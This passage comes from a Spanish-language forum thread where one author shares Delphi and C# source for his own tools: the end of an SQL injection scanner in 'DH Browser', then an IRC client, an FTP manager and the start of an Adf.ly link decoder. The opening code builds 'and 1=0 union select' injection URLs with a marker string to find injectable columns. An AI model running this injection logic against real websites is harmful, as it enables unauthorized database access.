              ',0x4b30425241)';
            urlgen := urlgen + ',' + IntToStr(i);
            code := nave.Get(txtURL.Text + urltest + pass2);

            regex_check.regex := 'K0BRA(.*?)K0BRA';
            regex_check.Subject := code;

            if regex_check.Match then
            begin

              urlgen := StringReplace(urlgen, regex_check.Groups[1], 'hackman', []);
              full := txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
                'union' + pass1 + 'select' + pass1 + urlgen;

              txtURL.Text := full;

              uno := navNoReadFromCache or navNoWriteToCache;
              dos := '';
              tres := '';

              if (cbUse_This_Headers.Checked) then
              begin
                cabeceras := mmHeaders.Text;
                browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
              end
              else
              begin
                cabeceras := '';
                browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
              end;
              status.Panels[0].Text := '[+] SQI Scanner Finished';
              FormHome.status.Update;
              MessageBox(0, 'SQI Scanner Finished', 'DH Browser 1.0',
                MB_ICONINFORMATION);

              Abort;

            end;

          end;
          status.Panels[0].Text := '[-] Columns length not found';
          FormHome.status.Update;
          MessageBox(0, 'Columns length not found', 'DH Browser 1.0', MB_ICONERROR);
        end
        else
        begin
          status.Panels[0].Text := '[-] Not vulnerable';
          FormHome.status.Update;
          MessageBox(0, 'Not vulnerable', 'DH Browser 1.0', MB_ICONERROR);
        end;

        status.Panels[0].Text := '[+] Done';
        FormHome.status.Update;
      end
      else
      begin
        MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
      end;

    end;

    end.

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#29
Delphi / [Delphi] IRC Manager 0.3
Agosto 19, 2016, 07:29:30 PM
Un simple cliente para chatear en el IRC.

Una imagen :



El codigo :

Código: delphi

// IRC Manager 0.3
// (C) Doddy Hackman 2016

unit irc;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls, Vcl.Menus,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, IdContext, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegex, MMSystem,
  Vcl.ImgList, Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

type
  TFormHome = class(TForm)
    status: TStatusBar;
    gbIRC_Config: TGroupBox;
    lblHost: TLabel;
    txtHost: TEdit;
    lblPort: TLabel;
    txtPort: TEdit;
    lblChannel: TLabel;
    txtChannel: TEdit;
    lblNick: TLabel;
    gbChat: TGroupBox;
    gbNicks: TGroupBox;
    lbNicks: TListBox;
    txtNickname: TEdit;
    btnConnect: TButton;
    gbEnterText: TGroupBox;
    txtText: TEdit;
    btnSend: TButton;
    logo: TImage;
    mmChat: TRichEdit;
    irc: TIdIRC;
    ilIconos: TImageList;
    procedure btnConnectClick(Sender: TObject);
    procedure ircRaw(ASender: TIdContext; AIn: Boolean; const AMessage: string);
    procedure btnSendClick(Sender: TObject);
    procedure ircPrivateMessage(ASender: TIdContext;
      const ANickname, AHost, ATarget, AMessage: string);
    procedure ircNotice(ASender: TIdContext; const ANickname, AHost, ATarget,
      ANotice: string);
    procedure ircJoin(ASender: TIdContext;
      const ANickname, AHost, AChannel: string);
    procedure ircPart(ASender: TIdContext; const ANickname, AHost, AChannel,
      APartMessage: string);
    procedure ircQuit(ASender: TIdContext;
      const ANickname, AHost, AReason: string);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    logs_messages: Boolean;
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}

procedure TFormHome.btnConnectClick(Sender: TObject);
begin
  if (btnConnect.Caption = 'Connect') then
  begin

    irc.nickname := txtNickname.text;
    irc.AltNickname := txtNickname.text + '123';
    irc.Username := txtNickname.text;
    irc.RealName := txtNickname.text;
    irc.Password := '';
    irc.host := txtHost.text;
    irc.port := StrToInt(txtPort.text);

    mmChat.Lines.Clear;
    lbNicks.Items.Clear;
    logs_messages := False;

    try
      begin
        mmChat.Lines.Add('Connecting ...');
        irc.connect;
        irc.Join(txtChannel.text);
        btnConnect.Caption := 'Disconnect';
        status.Panels[0].text := '[+] Connected';
        FormHome.status.Update;
        mmChat.Lines.Add('Connected !');
      end;
    except
      begin
        status.Panels[0].text := '[-] Error connecting to server';
        FormHome.status.Update;
        mmChat.Lines.Add('Error connecting to server !');
        MessageBox(0, 'Error connecting to server', 'IRC Manager 1.0',
          MB_ICONERROR);
      end;
    end;
  end
  else
  begin
    if (btnConnect.Caption = 'Disconnect') then
    begin
      irc.Part('');
      irc.Disconnect('');
      btnConnect.Caption := 'Connect';
      status.Panels[0].text := '[+] Disconnected';
      FormHome.status.Update;
      mmChat.Lines.Add('Disconnected !');
    end;
  end;

end;

procedure TFormHome.btnSendClick(Sender: TObject);
begin
  if not(txtText.text = '') then
  begin
    irc.Say(txtChannel.text, txtText.text);
    mmChat.Lines.Add('<' + txtNickname.text + '> ' + txtText.text);
    txtText.text := '';
  end;
end;

procedure TFormHome.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if mrYes = MessageDlg('Close program ?', mtwarning, [mbYes, mbNo], 0) then
  begin
    Exit;
  end
  else
  begin
    Action := caNone;
  end;
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin
  UseLatestCommonDialogs := False;
end;

procedure TFormHome.ircJoin(ASender: TIdContext;
  const ANickname, AHost, AChannel: string);
begin
  lbNicks.Items.Add(ANickname);
  mmChat.Lines.Add(ANickname + ' has joined');
end;

procedure TFormHome.ircNotice(ASender: TIdContext;
  const ANickname, AHost, ATarget, ANotice: string);
begin
  // chat.Lines.Add('<' + ANickname + '> ' + ANotice);
end;

procedure TFormHome.ircPart(ASender: TIdContext;
  const ANickname, AHost, AChannel, APartMessage: string);
begin
  lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  mmChat.Lines.Add(ANickname + ' part');
end;

procedure TFormHome.ircPrivateMessage(ASender: TIdContext;
  const ANickname, AHost, ATarget, AMessage: string);
var
  check_regex: TPerlRegex;
begin

  check_regex := TPerlRegex.Create();

  check_regex.regex := txtNickname.text;
  check_regex.Subject := AMessage;
  check_regex.Options := [preCaseLess];

  if check_regex.Match then
  begin
    mmChat.SelAttributes.Color := clRed;
    mmChat.SelAttributes.Style := [fsBold];
    mmChat.Lines.Add('* <' + ANickname + '> ' + AMessage);
    sndPlaySound(Pchar(GetCurrentDir + '/Data/click.wav'), SND_NODEFAULT);
  end
  else
  begin
    mmChat.Lines.Add('<' + ANickname + '> ' + AMessage);
  end;

  check_regex.Free;

end;

procedure TFormHome.ircQuit(ASender: TIdContext;
  const ANickname, AHost, AReason: string);
begin
  lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  mmChat.Lines.Add(ANickname + ' quit');
end;

procedure TFormHome.ircRaw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
var
  i: integer;
  code: string;
  renicks: string;
  listanow: TStringList;
  regex: TPerlRegex;
  otroregex: TPerlRegex;
  nick: string;
  texto: string;
begin

  code := AMessage;

  if (logs_messages = True) then
  begin
    mmChat.Lines.Add(code);
  end;

  regex := TPerlRegex.Create();
  otroregex := TPerlRegex.Create();

  regex.regex := '353 (.*) = #(.*) :(.*)';
  regex.Subject := code;

  if regex.Match then
  begin

    lbNicks.Clear;

    renicks := regex.Groups[3];

    renicks := StringReplace(renicks, txtNickname.text, '', []);

    listanow := TStringList.Create;
    listanow.Delimiter := ' ';
    listanow.DelimitedText := renicks;

    for i := 0 to listanow.Count - 1 do
    begin
      if not(listanow[i] = '@') then
      begin
        lbNicks.Items.Add(listanow[i]);
      end;
    end;

    lbNicks.Items.Add(txtNickname.text);

    logs_messages := False;

  end;

  otroregex.regex := 'PRIVMSG (.*) :ACTION (.*)';
  otroregex.Subject := code;

  if otroregex.Match then
  begin
    nick := otroregex.Groups[1];
    texto := otroregex.Groups[2];
    mmChat.Lines.Add('* ' + texto);
  end;

  regex.Free;
  otroregex.Free;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#30
Delphi / [Delphi] FTP Manager 1.0
Agosto 05, 2016, 11:01:10 PM
Un cliente FTP en Delphi con las siguientes opciones :

  • Se puede conectar a cualquier servidor FTP
  • Navegar y listar los directorios de nuestra computadora
  • Navegar y listar los directorios del servidor FTP
  • Se puede crear,renombrar,eliminar archivos y directorios de nuestra computadora
  • Se puede crear,renombrar,eliminar archivos y directorios del servidor FTP
  • Se puede bajar y subir archivos del servidor FTP comodamente

    Una imagen :



    El codigo :

    Código: delphi

    // FTP Manager 1.0
    // (C) Doddy Hackman 2016

    unit ftp;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
      IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      IdExplicitTLSClientServerBase, IdFTP, Shellapi, Vcl.ImgList, IdFTPList,
      Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.Menus, Vcl.Styles.Utils.ComCtrls,
      Vcl.Styles.Utils.Menus,
      Vcl.Styles.Utils.SysStyleHook,
      Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
      Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

    type
      TFormHome = class(TForm)
        gbFTP_Data: TGroupBox;
        lblHost: TLabel;
        txtHost: TEdit;
        lblUsername: TLabel;
        txtUsername: TEdit;
        lblPassword: TLabel;
        txtPassword: TEdit;
        btnConnect: TButton;
        gbMyFiles: TGroupBox;
        lblDirectory1: TLabel;
        txtMe_Directory: TEdit;
        btnListMe: TButton;
        lvLocalFiles: TListView;
        gbFTP_Files: TGroupBox;
        lblDirectory2: TLabel;
        txt_FTP_Directory: TEdit;
        btnList_FTP: TButton;
        lv_FTP_Files: TListView;
        btnUpload: TButton;
        btnDownload: TButton;
        directorios: TListBox;
        archivos: TListBox;
        status: TStatusBar;
        local_iconos: TImageList;
        ftp_client: TIdFTP;
        ftp_iconos: TImageList;
        progreso: TProgressBar;
        imgLogo: TImage;
        menu_local: TPopupMenu;
        MakeDirectory1: TMenuItem;
        Rename1: TMenuItem;
        Delete1: TMenuItem;
        Refresh1: TMenuItem;
        menu_ftp: TPopupMenu;
        MakeDirectory2: TMenuItem;
        Rename2: TMenuItem;
        Delete2: TMenuItem;
        Refresh2: TMenuItem;
        ilIconos: TImageList;
        procedure btnConnectClick(Sender: TObject);
        procedure btnListMeClick(Sender: TObject);
        procedure btnList_FTPClick(Sender: TObject);
        procedure btnUploadClick(Sender: TObject);
        procedure ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure ftp_clientWorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
        procedure btnDownloadClick(Sender: TObject);
        procedure lvLocalFilesDblClick(Sender: TObject);
        procedure lv_FTP_FilesDblClick(Sender: TObject);
        procedure MakeDirectory1Click(Sender: TObject);
        procedure Rename1Click(Sender: TObject);
        procedure Delete1Click(Sender: TObject);
        procedure Refresh1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure MakeDirectory2Click(Sender: TObject);
        procedure Rename2Click(Sender: TObject);
        procedure Delete2Click(Sender: TObject);
        procedure Refresh2Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}

    procedure listar(dirnownow: string; ListaDeArchivos: TListView;
      ListaDeIconos: TImageList);
    var
      buscar: TSearchRec;
      Icon: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
      dirnow: string;

    begin

      if (DirectoryExists(dirnownow)) then
      begin
        ListaDeIconos.Clear;

        dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);

        ListaDeArchivos.Items.Clear;
        Icon := TIcon.Create;
        ListaDeArchivos.Items.BeginUpdate;

        if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
        begin
          repeat
            if (buscar.Attr = faDirectory) then
            begin

              with ListaDeArchivos do
              begin

                if not(buscar.Name = '.') and not(buscar.Name = '..') then
                begin

                  listate := ListaDeArchivos.Items.Add;

                  SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                    SizeOf(getdata), SHGFI_DISPLAYNAME);
                  listate.Caption := getdata.szDisplayName;

                  SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                    SizeOf(getdata), SHGFI_TYPENAME);
                  listate.SubItems.Add(getdata.szTypeName);

                  SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                    SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
                  Icon.Handle := getdata.hIcon;
                  listate.ImageIndex := ListaDeIconos.AddIcon(Icon);

                  DestroyIcon(getdata.hIcon);

                end;
              end;

            end;
          until FindNext(buscar) <> 0;
          FindClose(buscar);
        end;

        if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
        begin
          repeat
            if (buscar.Attr <> faDirectory) then
            begin

              with ListaDeArchivos do
              begin

                listate := ListaDeArchivos.Items.Add;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                  SizeOf(getdata), SHGFI_DISPLAYNAME);
                listate.Caption := buscar.Name;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                  SizeOf(getdata), SHGFI_TYPENAME);
                listate.SubItems.Add(getdata.szTypeName);

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                  SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
                Icon.Handle := getdata.hIcon;
                listate.ImageIndex := ListaDeIconos.AddIcon(Icon);

                DestroyIcon(getdata.hIcon);

              end;

            end

            until FindNext(buscar) <> 0;
            FindClose(buscar);
          end;

          ListaDeArchivos.Items.EndUpdate;
        end;

      end;

      procedure listarftp(dirnownow2: string; ListaDeArchivosFTP: TListView;
        ftp: TIdFTP; DirectoriosEncontrados: TListBox;
        ArchivosEncontrados: TListBox);
      var
        i: integer;
        Item: TIdFTPListItem;
        listate2: TListItem;

      begin

        ListaDeArchivosFTP.Items.Clear;
        DirectoriosEncontrados.Clear;
        ArchivosEncontrados.Clear;

        listate2 := ListaDeArchivosFTP.Items.Add;

        ftp.ChangeDir(dirnownow2);
        ftp.List('*.*', True);

        for i := 0 to ftp.DirectoryListing.Count - 1 do
        begin

          Item := ftp.DirectoryListing.Items[i];
          if Item.ItemType = ditFile then
          begin
            DirectoriosEncontrados.Items.Add(ftp.DirectoryListing.Items[i]
              .FileName);
          end
          else
          begin
            ArchivosEncontrados.Items.Add(ftp.DirectoryListing.Items[i].FileName);
          end;

        end;

        ListaDeArchivosFTP.Items.Clear;

        for i := 0 to ArchivosEncontrados.Count - 1 do
        begin

          with ListaDeArchivosFTP do

          begin

            listate2 := ListaDeArchivosFTP.Items.Add;
            listate2.Caption := ArchivosEncontrados.Items[i];
            listate2.SubItems.Add('Directory');
            listate2.ImageIndex := 0;

          end;
        end;

        for i := 0 to DirectoriosEncontrados.Count - 1 do
        begin

          with ListaDeArchivosFTP do

          begin

            listate2 := ListaDeArchivosFTP.Items.Add;
            listate2.Caption := DirectoriosEncontrados.Items[i];
            listate2.SubItems.Add('File');
            listate2.ImageIndex := 1;

          end;
        end;

      end;

      procedure TFormHome.btnConnectClick(Sender: TObject);
      begin

        lv_FTP_Files.Items.Clear;

        directorios.Clear;
        archivos.Clear;

        if (btnConnect.Caption = 'Disconnect') then
        begin
          ftp_client.Disconnect;
          btnConnect.Caption := 'Connect';
          status.Panels[0].Text := '[+] Disconnected';
          FormHome.status.Update;
          txt_FTP_Directory.Text := '';
          MessageBox(0, 'Disconnected', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end
        else
        begin

          ftp_client.host := txtHost.Text;
          ftp_client.username := txtUsername.Text;
          ftp_client.password := txtPassword.Text;

          try
            ftp_client.connect;
            btnConnect.Caption := 'Disconnect';
            status.Panels[0].Text := '[+] Connected';
            FormHome.status.Update;

            txt_FTP_Directory.Text := '/';
            listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
              archivos);

            MessageBox(0, 'Connected', 'FTP Manager 1.0', MB_ICONINFORMATION);
          except
            status.Panels[0].Text := '[-] Error connecting to server';
            FormHome.status.Update;
            MessageBox(0, 'Error connecting to server', 'FTP Manager 1.0',
              MB_ICONERROR);
          end;
        end;

      end;

      procedure TFormHome.Delete1Click(Sender: TObject);
      var
        archivo: string;
      begin
        if Assigned(lvLocalFiles.Selected) then
        begin
          archivo := lvLocalFiles.Selected.Caption;
          if DeleteFile(txtMe_Directory.Text + '/' + archivo) then
          begin
            if not(txtMe_Directory.Text = '') then
            begin
              listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
            end;
            MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
          end
          else
          begin
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end;
      end;

      procedure TFormHome.Delete2Click(Sender: TObject);
      var
        archivo: string;
      begin
        if Assigned(lv_FTP_Files.Selected) then
        begin
          archivo := lv_FTP_Files.Selected.Caption;
          ftp_client.ChangeDir(txt_FTP_Directory.Text);
          try
            begin
              ftp_client.Delete(archivo);
              if not(txt_FTP_Directory.Text = '') then
              begin
                listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
                  directorios, archivos);
              end;
              MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
            end;
          except
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end;
      end;

      procedure TFormHome.btnDownloadClick(Sender: TObject);
      var
        fileabajar: string;
      begin

        if Assigned(lv_FTP_Files.Selected) then
        begin
          try
            begin
              fileabajar := lv_FTP_Files.Selected.Caption;;
              ftp_client.OnWork := ftp_clientWork;
              ftp_client.ChangeDir(txt_FTP_Directory.Text);

              progreso.Max := ftp_client.Size(ExtractFileName(fileabajar)) div 1024;

              ftp_client.Get(fileabajar, txtMe_Directory.Text + '/' + fileabajar,
                False, False);

              if not(txtMe_Directory.Text = '') then
              begin
                listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
              end;

              MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
                MB_ICONINFORMATION);
            end;
          except
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end
        else
        begin
          MessageBox(0, 'Select File to download', 'FTP Manager 1.0',
            MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.FormCreate(Sender: TObject);
      begin
        UseLatestCommonDialogs := False;
        txtMe_Directory.Text := GetCurrentDir + '\';
        listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
      end;

      procedure TFormHome.ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCount: Int64);
      begin
        status.Panels[0].Text := '[+] Working ...';
        FormHome.status.Update;

        progreso.Position := AWorkCount div 1024;
      end;

      procedure TFormHome.ftp_clientWorkBegin(ASender: TObject;
        AWorkMode: TWorkMode; AWorkCountMax: Int64);
      begin
        status.Panels[0].Text := '[+] Working ..';
        FormHome.status.Update;
      end;

      procedure TFormHome.ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      begin
        status.Panels[0].Text := '[+] Finished';
        FormHome.status.Update;
        progreso.Max := 0;
      end;

      procedure TFormHome.lv_FTP_FilesDblClick(Sender: TObject);
      begin
        if Assigned(lv_FTP_Files.Selected) then
        begin
          if (lv_FTP_Files.Selected.SubItems.Strings[0] = 'Directory') then
          begin
            ftp_client.ChangeDir(txt_FTP_Directory.Text +
              lv_FTP_Files.Selected.Caption + '/');
            listarftp(txt_FTP_Directory.Text + lv_FTP_Files.Selected.Caption + '/',
              lv_FTP_Files, ftp_client, directorios, archivos);
            txt_FTP_Directory.Text := ftp_client.RetrieveCurrentDir + '/';
          end;
        end
        else
        begin
          MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.btnList_FTPClick(Sender: TObject);
      begin
        if not(txt_FTP_Directory.Text = '') then
        begin
          listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
            archivos);
        end
        else
        begin
          MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.btnListMeClick(Sender: TObject);
      begin
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end
        else
        begin
          MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.lvLocalFilesDblClick(Sender: TObject);
      begin
        if Assigned(lvLocalFiles.Selected) then
        begin
          if (DirectoryExists(txtMe_Directory.Text + lvLocalFiles.Selected.Caption +
            '/')) then
          begin
            Chdir(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/');
            listar(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/',
              lvLocalFiles, local_iconos);
            txtMe_Directory.Text := GetCurrentDir + '\';
          end;
        end
        else
        begin
          MessageBox(0, 'Select Path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.MakeDirectory1Click(Sender: TObject);
      var
        directorio: string;
      begin
        directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
        try
          begin
            MkDir(txtMe_Directory.Text + '/' + directorio);
            if not(txtMe_Directory.Text = '') then
            begin
              listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
            end;
            MessageBox(0, 'Directory created', 'FTP Manager 1.0',
              MB_ICONINFORMATION);
          end;
        except
          MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
        end;
      end;

      procedure TFormHome.MakeDirectory2Click(Sender: TObject);
      var
        directorio: string;
      begin
        directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
        try
          begin
            ftp_client.ChangeDir(txt_FTP_Directory.Text);
            ftp_client.MakeDir(directorio);
            if not(txt_FTP_Directory.Text = '') then
            begin
              listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
                directorios, archivos);
            end;
            MessageBox(0, 'Directory created', 'FTP Manager 1.0',
              MB_ICONINFORMATION);
          end;
        except
          MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
        end;
      end;

      procedure TFormHome.Refresh1Click(Sender: TObject);
      begin
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end
        else
        begin
          MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.Refresh2Click(Sender: TObject);
      begin
        if not(txt_FTP_Directory.Text = '') then
        begin
          listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
            archivos);
        end;
      end;

      procedure TFormHome.Rename1Click(Sender: TObject);
      var
        original, new_name: string;
      begin
        if Assigned(lvLocalFiles.Selected) then
        begin
          original := lvLocalFiles.Selected.Caption;
          new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
          if RenameFile(txtMe_Directory.Text + '/' + original,
            txtMe_Directory.Text + '/' + new_name) then
          begin
            if not(txtMe_Directory.Text = '') then
            begin
              listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
            end;
            MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
          end
          else
          begin
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end;
      end;

      procedure TFormHome.Rename2Click(Sender: TObject);
      var
        original, new_name: string;
      begin
        if Assigned(lv_FTP_Files.Selected) then
        begin
          original := lv_FTP_Files.Selected.Caption;
          new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
          try
            begin
              ftp_client.ChangeDir(txt_FTP_Directory.Text);
              ftp_client.Rename(original, new_name);
              if not(txt_FTP_Directory.Text = '') then
              begin
                listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
                  directorios, archivos);
              end;
              MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
            end;
          except
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end;

      end;

      procedure TFormHome.btnUploadClick(Sender: TObject);
      var
        fileasubir: string;
        dirasubir: string;
        cantidad: File of byte;
      begin

        if Assigned(lvLocalFiles.Selected) then
        begin
          try
            begin
              fileasubir := txtMe_Directory.Text + lvLocalFiles.Selected.Caption;
              dirasubir := txt_FTP_Directory.Text;

              ftp_client.OnWork := ftp_clientWork;

              AssignFile(cantidad, fileasubir);
              Reset(cantidad);
              progreso.Max := FileSize(cantidad) div 1024;
              CloseFile(cantidad);

              ftp_client.ChangeDir(dirasubir);
              ftp_client.Put(fileasubir, lvLocalFiles.Selected.Caption, False);

              if not(txt_FTP_Directory.Text = '') then
              begin
                listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
                  directorios, archivos);
              end;

              MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
                MB_ICONINFORMATION);
            end;
          except
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end
        else
        begin
          MessageBox(0, 'Select File to upload', 'FTP Manager 1.0',
            MB_ICONINFORMATION);
        end;
      end;

    end.

    // The End ?


    Si quieren bajar el programa lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#31
C# - VB.NET / [C#] Adf.ly Killer 0.5
Julio 22, 2016, 01:53:38 PM
Un programa en C# para decodificar una URL de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , este programa esta basado en la funcion publicada en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta por fudmario para lograr esta tarea.

Tiene dos opciones , la primera es para decodificar una unica URL y la otra es para decodificar varias URLS en un archivo de texto.

Una imagen :



El codigo :

Código: csharp

// Adf.ly Killer 0.5
// (C) Doddy Hackman 2016
// Credits : Thanks to fudmario

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Text.RegularExpressions;
using Microsoft.VisualBasic;
using System.IO;

namespace Adf.ly_Killer
{
    public partial class FormHome : Form
    {
        public FormHome()
        {
            InitializeComponent();
        }

        private void btnExit_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        public string base64_encode(string texto)
        {
            return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(texto));
        }

        public string base64_decode(string texto)
        {
            return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(texto));
        }

        private Boolean check_link(string link)
        {
            Match regex = Regex.Match(link, "adf.ly", RegexOptions.IgnoreCase);
            if (regex.Success)
            {
                return true;
            }
            else
            {
                return false;
            }
        }

        private string adfly_decode(string link_to_decode)
        {
            string link_decoded = "";
            DH_Tools tools = new DH_Tools();
            string code = tools.toma(link_to_decode);
            Match regex = Regex.Match(code, "var ysmm = '(.*?)';", RegexOptions.IgnoreCase);
            if (regex.Success)
            {
                string link = regex.Groups[1].Value;
                string left = "";
                string right = "";
                for (int i = 0; i < link.Length; i++)
                {
                    if (i % 2 == 0)
                    {
                        left = left + Convert.ToString(link[i]);
                    }
                    else
                    {
                        right = Convert.ToString(link[i]) + right;
                    }
                }
                string link_encoded = base64_decode(left + right);
                string link_ready = link_encoded.Substring(2);
                link_decoded = link_ready;

            }
            if (link_decoded == "")
            {
                link_decoded = "???";
            }
            return link_decoded;
        }

        private void btnKill_Click(object sender, EventArgs e)
        {
            txtResult.Text = "";
            if (txtEnterLink.Text != "")
            {
                if (check_link(txtEnterLink.Text))
                {
                    status.Text = "[+] Decoding ...";
                    this.Refresh();
                    string result = adfly_decode(txtEnterLink.Text);
                    if (result != "???")
                    {
                        txtResult.Text = result;
                        status.Text = "[+] Link Decoded";
                        this.Refresh();
                    }
                    else
                    {
                        txtResult.Text = "Not Found";
                        status.Text = "[-] Not Found";
                        this.Refresh();
                    }
                }
                else
                {
                    status.Text = "[-] Link Invalid";
                    this.Refresh();
                }
            }
            else
            {
                status.Text = "[-] Enter Link to decode";
                this.Refresh();
            }
        }

        private void btnCopy_Click(object sender, EventArgs e)
        {
            try
            {
                Clipboard.Clear();
                Clipboard.SetText(txtResult.Text);
                status.Text = "[+] Link copied to clipboard";
                this.Refresh();
            }
            catch
            {
                //
            }
        }

        private void miAddLink_Click(object sender, EventArgs e)
        {
            string link = Interaction.InputBox("Enter Link : ", "Adf.ly Killer 0.5", "");
            if (link != "")
            {
                if (check_link(link))
                {
                    ListViewItem item = new ListViewItem();
                    item.Text = link;
                    item.SubItems.Add("...");
                    lvLinks.Items.Add(item);
                    status.Text = "[+] Link Added";
                    this.Refresh();
                }
                else
                {
                    status.Text = "[-] Link Invalid";
                    this.Refresh();
                }
            }
            else
            {
                status.Text = "[-] Enter Link";
                this.Refresh();
            }
        }

